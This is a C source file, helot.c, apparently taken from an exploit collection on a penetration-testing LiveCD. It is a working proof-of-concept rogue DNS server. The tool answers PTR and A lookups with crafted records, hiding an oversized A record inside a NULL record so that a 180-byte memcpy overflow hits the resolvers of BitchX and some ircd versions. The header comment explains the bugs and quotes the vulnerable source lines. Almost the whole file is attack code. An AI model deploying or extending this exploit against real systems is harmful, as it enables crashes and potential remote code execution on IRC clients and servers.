home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bitchx / helot.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  641 lines

  1. /*
  2.  * helot.c - bitchx/ircd DNS overflow demonstration
  3.  * w00w00 Security Development (WSD)
  4.  * 12.04.2000 nimrood (nimrood@onebox.com)
  5.  *
  6.  * this same code i used to exploit an ircd DNS spoofing bug
  7.  * from early '99. re-usable code is great.
  8.  * this program is fun to play with if you're messing with DNS.
  9.  * the packet builder is MakeDNSPkt(). this tool compiles on my
  10.  * linux systems with no problems.
  11.  *
  12.  *     Greetings :: #!w00w00, caddis, dmess0r, nocarrier, nyt,
  13.  *                   superluck, jobe, awr, metabolis, sq, bb0y
  14.  *
  15.  * ----------------------------------
  16.  * problem 1: --> generic ircd
  17.  * current and older irc servers suffer from a common bug.
  18.  * a pointer is not updated correctly when handling unsupported
  19.  * RR types (eg: T_NULL). this makes the server think
  20.  * it received a malformed packet when trying to process the next RR.
  21.  * it's not a really serious bug, but it allows for a neat trick:
  22.  *
  23.  * you can embed any RR type in an unsupported RR (eg: T_NULL). these
  24.  * embedded RR's are not checked for errors or dropped by nameservers...
  25.  * 
  26.  * problem 2: --> bitchx all versions, remote code excecution
  27.  * bitchx appears to use code from older irc servers to perform dns
  28.  * lookups. this old code suffers from a bcopy/memcpy overflow while
  29.  * processing T_A RR's. The T_A RR data length is used in a subsequent
  30.  * memcpy without bounds checking. the overflowed variable stores an
  31.  * IP address, only 4 bytes long. this is similar to the I_QUERY BIND
  32.  * overflow. bitchx dns also suffers from problem 1.
  33.  *
  34.  * from bitchx-1.0c17, ./source/misc.c : ar_procanswer()
  35.  * line 2639:
  36.  *           dlen =  (int)_getshort(cp);
  37.  *           cp += sizeof(short);
  38.  *           rptr->re_type = type;
  39.  * 
  40.  *           switch(type)
  41.  *           {
  42.  *           case T_A :
  43.  *                   rptr->re_he.h_length = dlen;
  44.  *                   if (ans == 1)
  45.  *                           rptr->re_he.h_addrtype=(class == C_IN) ? AF_INET : AF_UNSPEC;
  46.  *                   memcpy(&dr, cp, dlen);
  47.  *
  48.  * problem 3: --> comstud ircd, remote code execution
  49.  * funny enough, while working on the bitchx overflow, i accidentally
  50.  * connected a client using the wrong IP to a comstud ircd...it died.
  51.  * i found comstud-1.x releases are not vulnerable. 
  52.  * i suspect other ircd server varients will be vulnerable. i would
  53.  * recommend upgrading to a comstud-1.x release. hybrid-ircd team fixed
  54.  * this bug a while back with the release of hybrid-5.3p3.
  55.  *
  56.  * from irc2.8.21+CSr31pl2, ./source/res.c : proc_answer()
  57.  * line 548:
  58.  *          dlen =  (int)_getshort((u_char *)cp);
  59.  * line 565:
  60.  *          switch(type)
  61.  *          {
  62.  *          case T_A :
  63.  *                  hp->h_length = dlen;
  64.  *                  if (ans == 1)
  65.  *                          hp->h_addrtype =  (class == C_IN) ? AF_INET : AF_UNSPEC;
  66.  *                  bcopy(cp, (char *)&dr, dlen);
  67.  *
  68.  * there are no bad guys... just disturbed guys.
  69.  */
  70.  
  71. #include <stdio.h>
  72. #include <stdlib.h>
  73. #include <unistd.h>
  74. #include <string.h>
  75. #include <sys/time.h>
  76. #include <sys/types.h>
  77. #include <sys/socket.h>
  78. #include <signal.h>
  79. #include <netinet/in.h>
  80. #include <arpa/nameser.h>
  81. #include <arpa/inet.h>
  82.  
  83. /* for whatever reason, these may need to be defined */
  84. #ifndef u_char
  85. #define u_char unsigned char
  86. #endif
  87. #ifndef u_short
  88. #define u_short unsigned short
  89. #endif
  90. #ifndef u_long
  91. #define u_long unsigned long
  92. #endif
  93.  
  94. #define DNS_PORT 53
  95.  
  96. extern int optind, optopt;
  97. extern char *optarg;
  98.  
  99. /* used for converting query type integer to respective string */
  100. struct qtype_list
  101. {
  102.     int type;
  103.     char *name;
  104. };
  105. const struct qtype_list qtypelist[] =
  106. {
  107.     {T_A,        "A"},
  108.     {T_NS,        "NS"},
  109.     {T_CNAME,    "CNAME"},
  110.     {T_SOA,        "SOA"},
  111.     {T_PTR,        "PTR"},
  112.     {T_HINFO,    "HINFO"},
  113.     {T_MX,        "MX"},
  114.     {T_ANY,        "ANY"},
  115.     {T_NULL,    "NULL"},
  116.     {T_WKS,        "WKS"},
  117.     {0,        "(unknown)"}
  118. };
  119.  
  120. void CatchSigInt(int sig)
  121. {
  122.     signal(SIGINT, SIG_DFL);
  123. }
  124.  
  125. void Usage(char *prog)
  126. {
  127.     fprintf(stderr, "\
  128. usage: %s [-k pid] [-t ttl] [-b ip] ip hostname\n\
  129.   ip           ip address to answer reverse lookups for\n\
  130.   hostname     hostname to be mapped to ip, and answer forward lookups\n\
  131.   -k           kill this process before binding dns port\n\
  132.   -t           cache time-to-live (seconds) for this answer (default: 900)\n\
  133.   -b           bind the nameserver to this address (default, all addresses)\n",
  134.     prog);
  135.     exit(1);
  136. }
  137.  
  138. char *ip2InAddrStr(u_long ip)
  139. {
  140.     static char *str;
  141.     u_char *byte;
  142.  
  143.     if(!str) 
  144.     {
  145.         if((str=malloc(MAXLABEL)) == NULL)
  146.             return(str);
  147.     }
  148.  
  149.     /* IP should be in network order to generate a proper in-addr */    
  150.     byte = (u_char *)&ip;
  151.     sprintf(str, "%d.%d.%d.%d.IN-ADDR.ARPA.", byte[3], byte[2], byte[1],
  152.         byte[0]);
  153.  
  154.     return(str);
  155. }
  156.  
  157. u_short ExpandDName(char *comp, char *dest, u_short len)
  158. {
  159.         char *cp, *cp2;
  160.         u_short num;
  161.  
  162.         cp = comp; cp2 = dest;
  163.         if(strchr(cp, '.') && strlen(cp) < len)
  164.         {
  165.                 strcpy(cp2, cp);
  166.                 if(*(cp2 + strlen(cp2)) != '.')
  167.                         strcat(cp2, ".");
  168.                 return(strlen(cp2));
  169.         }
  170.  
  171.         while((*cp) && (cp))
  172.         {
  173.                 num = (u_char)*cp;
  174.                 if(num + (cp2 - dest) > len)
  175.                         break;
  176.                 memcpy(cp2, ++cp, num);
  177.                 cp += num; cp2 += num;
  178.                 *(cp2++) = '.';
  179.         }
  180.         *cp2 = 0;
  181.         return(cp2 - dest);
  182. }
  183.  
  184. int CompDName(char *buf, char *dname)
  185. {
  186.     char *p = buf, *p1;
  187.  
  188.     while((*dname) && (dname))
  189.     {
  190.         if((*dname == '.') && (!*(dname + 1)))
  191.             break;
  192.         p1 = strchr(dname, '.');
  193.         if(!p1)
  194.             p1 = strchr(dname, 0);
  195.         *(p++) = p1 - dname;
  196.         memcpy(p, dname, p1 - dname);
  197.         p += p1 - dname;
  198.         dname = p1;
  199.         if(*p1)
  200.             dname++;
  201.     }
  202.     *(p++) = 0;
  203.     return(p - buf);
  204. }
  205.  
  206. /*
  207.  * ProcDNSPkt()
  208.  *
  209.  * desc: process a packet, return query name IF it's a question
  210.  * input: pointer to packet buffer, packet buffer length
  211.  * output: pointer to query name string, or NULL, type of query 
  212.  */
  213. char *ProcDNSPkt(char *pkt, u_short pktlen, int *qtype)
  214. {
  215.     static char *qname;
  216.     char *qRR;
  217.     HEADER *dnshdr;
  218.     int qnamelen;
  219.  
  220.     /* do we even have something to look at? */
  221.     if(pkt == NULL || pktlen < (HFIXEDSZ + QFIXEDSZ))
  222.         return(0);
  223.     dnshdr = (HEADER *)pkt;
  224.  
  225.     /* check query response flag */
  226.     if(dnshdr->qr)
  227.         return(0);
  228.  
  229.     /* check that we have only a question in this packet */
  230.     if(ntohs(dnshdr->qdcount) != 1 || ntohs(dnshdr->arcount) != 0 ||
  231.         ntohs(dnshdr->nscount) != 0 || ntohs(dnshdr->arcount) != 0)
  232.         return(0);
  233.  
  234.     if(!qname)
  235.     {
  236.         if((qname = malloc(MAXDNAME)) == 0)
  237.         {
  238.             fprintf(stderr, "no memory for qname\n");
  239.             return(0);
  240.         }
  241.     }
  242.     qnamelen = ExpandDName(pkt+HFIXEDSZ, qname, MAXDNAME);
  243.     if(qnamelen == 0)
  244.         return(NULL);
  245.  
  246.     /* extract the query type received and fill in qtype */
  247.     qRR = pkt + HFIXEDSZ + strlen(pkt + HFIXEDSZ) + 1;
  248.     GETSHORT(qnamelen, qRR); 
  249.     *qtype = qnamelen;
  250.     return(qname);
  251. }
  252.  
  253. /*
  254.  * QType2Str()
  255.  *
  256.  * desc: convert query type integer to a string representation
  257.  * input: query type
  258.  * output: pointer to string of query type
  259.  */
  260. char *QType2Str(int qtype)
  261. {
  262.     int i = 0;
  263.  
  264.     while(qtypelist[i].type && qtypelist[i].type != qtype)
  265.         i++;
  266.     return(qtypelist[i].name);
  267. }
  268.  
  269. /*
  270.  * MakeDNSPkt()
  271.  *
  272.  * desc: make a dns answer packet for a question
  273.  * input: pointer to original query packet to build answer for, pointer to
  274.  *    answer packet buffer, buffer length, answer data, additional data,
  275.  *    time-to-live 
  276.  * output: returns size of answer packet, or NULL
  277.  */
  278. u_short MakeDNSPkt(char *qpkt, char *apkt, u_short alen, char *answer,
  279.     char *additional, u_long ttl)
  280. {
  281.     u_short sz, offset; 
  282.     int qtype;
  283.     HEADER *qhdr, *ahdr;
  284.     char *query, *aquery, *answerRR;
  285.     char qname[MAXDNAME]; /* domain name label scratch pad */
  286.     char *cp, *cp2;
  287.  
  288.     /* do some checks */
  289.     if(qpkt == NULL || apkt == NULL || answer == NULL || additional == NULL)
  290.         return(0);
  291.  
  292.     /* setup pointers */
  293.     qhdr = (HEADER *)qpkt; ahdr = (HEADER *)apkt;
  294.     query = qpkt + HFIXEDSZ; aquery = apkt + HFIXEDSZ;
  295.  
  296.     /* answer packet dns header, we use the query packet's hdr */
  297.     if(alen < HFIXEDSZ)
  298.         return(0);
  299.     memcpy(ahdr, qhdr, HFIXEDSZ);
  300.     ahdr->qr = 1; /* query response */
  301.     ahdr->aa = 1; /* authoratative answer */
  302.     ahdr->rcode = NOERROR;
  303.  
  304.     /* copy original query info to answer packet */
  305.     memcpy(aquery, query, (strlen(query) + QFIXEDSZ + 1));
  306.     aquery += strlen(query) + 1;
  307.     GETSHORT(qtype, aquery);
  308.     answerRR = aquery + INT16SZ;
  309.  
  310.     /* build the answer RR's based on query type */
  311.     sz = CompDName(qname, answer);
  312.  
  313.     switch(qtype)
  314.     {
  315.         case T_PTR:
  316.             /* answer the original question. this RR's data 
  317.              * comes from the "hostname" cmdline option.
  318.              * this is a normal and valid resource record
  319.              */
  320.             PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
  321.             PUTSHORT(T_PTR, answerRR);
  322.             PUTSHORT(C_IN, answerRR);
  323.             PUTLONG(ttl, answerRR);
  324.             PUTSHORT(sz, answerRR);
  325.             memcpy(answerRR, qname, sz);
  326.             offset = answerRR - apkt; /* offset used for compression */
  327.             answerRR += sz;
  328.  
  329.             /* this RR, T_NULL demonstrates problem 1. this RR has
  330.              * an embedded T_A record in it's data field
  331.              */
  332.             PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
  333.             PUTSHORT(T_NULL, answerRR);
  334.             PUTSHORT(C_IN, answerRR);
  335.             PUTLONG(ttl, answerRR);
  336.             cp = answerRR; /* pointer to T_NULL RR's data lengh */
  337.             PUTSHORT(0, answerRR);
  338.             cp2 = answerRR;    /* pointer to start of embedded T_A RR */
  339.                 
  340.             /* T_A record is actually embedded in the T_NULL record.
  341.              * bitchx/ircd will read into this T_A record on the next loop.
  342.              * this lets us get around restrictions in BIND on T_A RR's
  343.              *
  344.              * this RR causes problems 2 & 3 -- the overflow
  345.              */
  346.             PUTSHORT((offset | 0xc000), answerRR);
  347.             PUTSHORT(T_A, answerRR);
  348.             PUTSHORT(C_IN, answerRR);    
  349.             PUTLONG(ttl, answerRR);
  350.             PUTSHORT(180, answerRR); /* overflow with 180 N's */
  351.             memset(answerRR, 'N', 180);
  352.             answerRR += 180;
  353.  
  354.             /* compute size of embedded T_A & update T_NULL's dlength */
  355.             PUTSHORT((answerRR - cp2), cp);
  356.  
  357.             /* this record is needed to continue the dns loop in
  358.              * bitchx/ircd. it can be any RR, i used T_NULL
  359.              */ 
  360.                         PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
  361.                         PUTSHORT(T_NULL, answerRR);
  362.                         PUTSHORT(C_IN, answerRR);
  363.                         PUTLONG(ttl, answerRR);
  364.                         PUTSHORT(0, answerRR);
  365.  
  366.             ahdr->ancount = htons(3);
  367.             ahdr->nscount = htons(0);
  368.             ahdr->arcount = htons(0);
  369.             break;
  370.  
  371.         case T_A:
  372.             /* BIND deems T_A records with data length <> 4 bytes
  373.              * to be malformed. so we must embed the RR.
  374.              */
  375.             PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
  376.             PUTSHORT(T_NULL, answerRR);
  377.             PUTSHORT(C_IN, answerRR);
  378.             PUTLONG(ttl, answerRR);
  379.             cp = answerRR;
  380.             PUTSHORT(0, answerRR);
  381.             cp2 = answerRR;
  382.  
  383.             /* problem 2 & 3 demonstrated with a T_A query */
  384.             PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
  385.             PUTSHORT(T_A, answerRR);
  386.             PUTSHORT(C_IN, answerRR);
  387.             PUTLONG(ttl, answerRR);
  388.             PUTSHORT(180, answerRR); 
  389.             memset(answerRR, 'A', 180);
  390.             answerRR += 180;
  391.  
  392.             /* fix up the size of the T_NULL */
  393.             PUTSHORT((answerRR - cp2), cp);
  394.  
  395.             /* another T_NULL ... */
  396.                         PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
  397.                         PUTSHORT(T_NULL, answerRR);
  398.                         PUTSHORT(C_IN, answerRR);
  399.                         PUTLONG(ttl, answerRR);
  400.                         PUTSHORT(0, answerRR);
  401.  
  402.             ahdr->ancount = htons(2);
  403.                         ahdr->nscount = htons(0);
  404.                         ahdr->arcount = htons(0);
  405.                         break;
  406.  
  407.         default:
  408.             fprintf(stderr, "\ntype %d query not supported\n",
  409.                 qtype);
  410.             return(0);
  411.     }
  412.  
  413.     return(answerRR - (char *)ahdr);
  414. }
  415.  
  416. /*
  417.  * SocketBind()
  418.  *
  419.  * desc: get's a udp socket and binds it to dns port 53 and an IP address
  420.  * input: pid to kill before bind, struct sockaddr initialize, IP address
  421.  * output: socket descriptor, or -1 on error
  422.  */
  423. int SocketBind(u_short pid, struct sockaddr_in *sa, u_long listen_ip)
  424. {
  425.     int sd, sockopt, sockoptlen;
  426.  
  427.     if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  428.     {
  429.         perror("can't get a udp socket");
  430.         return(sd);
  431.     }
  432.  
  433.     
  434.     if(pid)
  435.     {
  436.         fprintf(stderr, "killing pid %u...", pid);
  437.         if(kill(pid, SIGKILL) < 0)
  438.         {
  439.             perror("can't kill process");
  440.             return(-1);
  441.         }
  442.         fprintf(stderr, "killed.\n");
  443.     }
  444.  
  445.     sa->sin_family = AF_INET;
  446.     sa->sin_port = htons(DNS_PORT);
  447.     sa->sin_addr.s_addr = listen_ip;
  448.     sockopt = 1; sockoptlen = 4;
  449.     setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&sockopt, sockoptlen);
  450.  
  451.     if(bind(sd, (struct sockaddr *)sa, sizeof(struct sockaddr)) < 0)
  452.     {
  453.         perror("can't bind dns port 53");
  454.         return(-1);
  455.     }
  456.  
  457.     fprintf(stderr, "listening on %s...\n", inet_ntoa(sa->sin_addr));
  458.     return(sd);
  459. }
  460.  
  461. /*
  462.  * SendPkt()
  463.  *
  464.  * desc: send dns answer packet into the great unknown
  465.  * input: socket, received packet, answer string, additional answer, ttl,
  466.  *    struct sockaddr from, from length
  467.  * output: returns # bytes sent, < 0 on error
  468.  */
  469. int SendPkt(int sd, char *rbuf, char *answer, char *additional, u_long ttl,
  470.     struct sockaddr_in *to, int tolen)
  471. {
  472.     char sbuf[PACKETSZ];
  473.     int slen, sent;
  474.  
  475.     slen = MakeDNSPkt(rbuf, sbuf, PACKETSZ, answer, additional, ttl);
  476.     if(!slen)
  477.     {
  478.         fprintf(stderr, "error building answer packet\n");
  479.         return(-1);
  480.     }
  481.     if((sent = sendto(sd, sbuf, slen, 0, (struct sockaddr *)to, tolen)) < 0)
  482.     {
  483.         perror("sending answer packet");
  484.         return(sent);
  485.     }
  486.     return(sent);
  487. }
  488.     
  489. /*
  490.  * main()
  491.  */
  492. int main(int argc, char *argv[])
  493. {
  494.     int sd, opt, rlen, fromlen, sent, qtype;
  495.     u_short killpid = 0;
  496.     u_long ttl = (15 * 60), ip, bind_ip = 0;
  497.     char rbuf[PACKETSZ];
  498.     char *qname = NULL,  *inaddrstr = NULL, *hostname = NULL;
  499.     struct sockaddr_in named, from;
  500.     fd_set dns;
  501.  
  502.     fprintf(stderr,"\
  503. helot.c - bitchx/ircd DNS overflow demonstration
  504. 12.04.2000 nimrood (nimrood@onebox.com)
  505. w00w00 Security Development (WSD)\n\n");
  506.  
  507.     while((opt = getopt(argc, argv, "k:t:b:")) != -1)
  508.     {
  509.         switch(opt)
  510.         {
  511.             case 'k':
  512.                 killpid = atoi(optarg);
  513.                 break;
  514.             case 't':
  515.                 ttl = strtoul(optarg, NULL, 0);
  516.                 break;
  517.             case 'b':
  518.                 if((bind_ip = inet_addr(optarg)) == -1)
  519.                 {
  520.                     fprintf(stderr, 
  521.                     "%s is not an ip address!\n", optarg);
  522.                     exit(-1);
  523.                 }
  524.                 break;
  525.             case '?':
  526.                 Usage(argv[0]);
  527.                 /* NOT REACHED */
  528.             default:
  529.                 fprintf(stderr, "getopt() error doh!\n");
  530.                 exit(-1);
  531.         }
  532.     }
  533.  
  534.     /* get ip address and hostname to use for answers */
  535.     if((argc - optind) != 2)
  536.         Usage(argv[0]);
  537.  
  538.     if((ip = inet_addr(argv[optind])) == -1)
  539.     {
  540.         fprintf(stderr, "%s not an ip address!\n", argv[optind]);
  541.         exit(-1);
  542.     }
  543.     
  544.         /* get a socket and bind it to the dns port 53 */
  545.         if((sd = SocketBind(killpid, &named, bind_ip)) < 0)
  546.         {
  547.                 fprintf(stderr, "error setting up network!\n");
  548.                 goto exit_helot;
  549.         }
  550.  
  551.     if((hostname = malloc(strlen(argv[++optind]) + 2)) == NULL)
  552.     {
  553.         fprintf(stderr, "can't get memory for hostname!\n");
  554.         goto exit_helot;
  555.     }
  556.     strcpy(hostname, argv[optind]);
  557.     if(*(hostname + strlen(hostname)) != '.')
  558.         strcat(hostname, ".");
  559.  
  560.     if((inaddrstr = ip2InAddrStr(ip)) == NULL)
  561.     {
  562.         fprintf(stderr, "can't get memory for in-addr string!\n");
  563.         goto exit_helot;
  564.     }
  565.  
  566.     /* catch ctrl-c so i can free used memory */
  567.     signal(SIGINT, CatchSigInt);
  568.  
  569.     while(1)
  570.     {
  571.         FD_ZERO(&dns);
  572.         FD_SET(sd, &dns);
  573.         if(select((sd + 1), &dns, NULL, NULL, NULL) < 0)
  574.         {
  575.             perror("error on listening socket");
  576.             break;
  577.         }
  578.  
  579.         if(FD_ISSET(sd, &dns))
  580.         {
  581.             fromlen = sizeof(from);
  582.             if((rlen = recvfrom(sd, rbuf, PACKETSZ, 0, 
  583.                 (struct sockaddr *)&from, &fromlen)) < 0)
  584.             {
  585.                 perror("error reading from socket");
  586.                 break;
  587.             }
  588.  
  589.             if(!rlen)
  590.             {
  591.                 fprintf(stderr, "from %s, empty packet\n",
  592.                     inet_ntoa(from.sin_addr));
  593.                 continue;
  594.             }
  595.  
  596.             if((qname = ProcDNSPkt(rbuf, rlen, &qtype)) == NULL)
  597.             {
  598.                 fprintf(stderr, "from %s, no query\n",
  599.                     inet_ntoa(from.sin_addr));
  600.                 continue;
  601.             }
  602.             
  603.             fprintf(stderr, "from %s, %s/%s, query", inet_ntoa(from.sin_addr),
  604.                 qname, QType2Str(qtype));
  605.  
  606.             if(strcasecmp(qname, inaddrstr) == 0 && qtype == T_PTR)
  607.             {
  608.                 sent = SendPkt(sd, rbuf, hostname, (char *)&ip,
  609.                     ttl, &from, fromlen);
  610.                 if(sent <= 0)
  611.                 {
  612.                     fprintf(stderr, "no answer sent!!\n");
  613.                     break;
  614.                 }
  615.  
  616.                 fprintf(stderr, " answered.\n");
  617.                 continue;
  618.             }
  619.  
  620.             if(strcasecmp(qname, hostname) == 0 && qtype == T_A)
  621.             {
  622.                 sent = SendPkt(sd, rbuf, hostname, (char *)&ip, 
  623.                     ttl, &from, fromlen);
  624.                 if(sent <= 0)
  625.                 {
  626.                     fprintf(stderr, "no answer sent!!\n");
  627.                     break;
  628.                 }
  629.  
  630.                 fprintf(stderr, " answered\n");
  631.             }
  632.         }
  633.         fprintf(stderr,"\n");
  634.     }
  635.  
  636. exit_helot:
  637.     fprintf(stderr, "\ncleaning up...\n");
  638.     free(qname); free(hostname); free(inaddrstr); close(sd);
  639.     exit(-1);
  640. }
  641.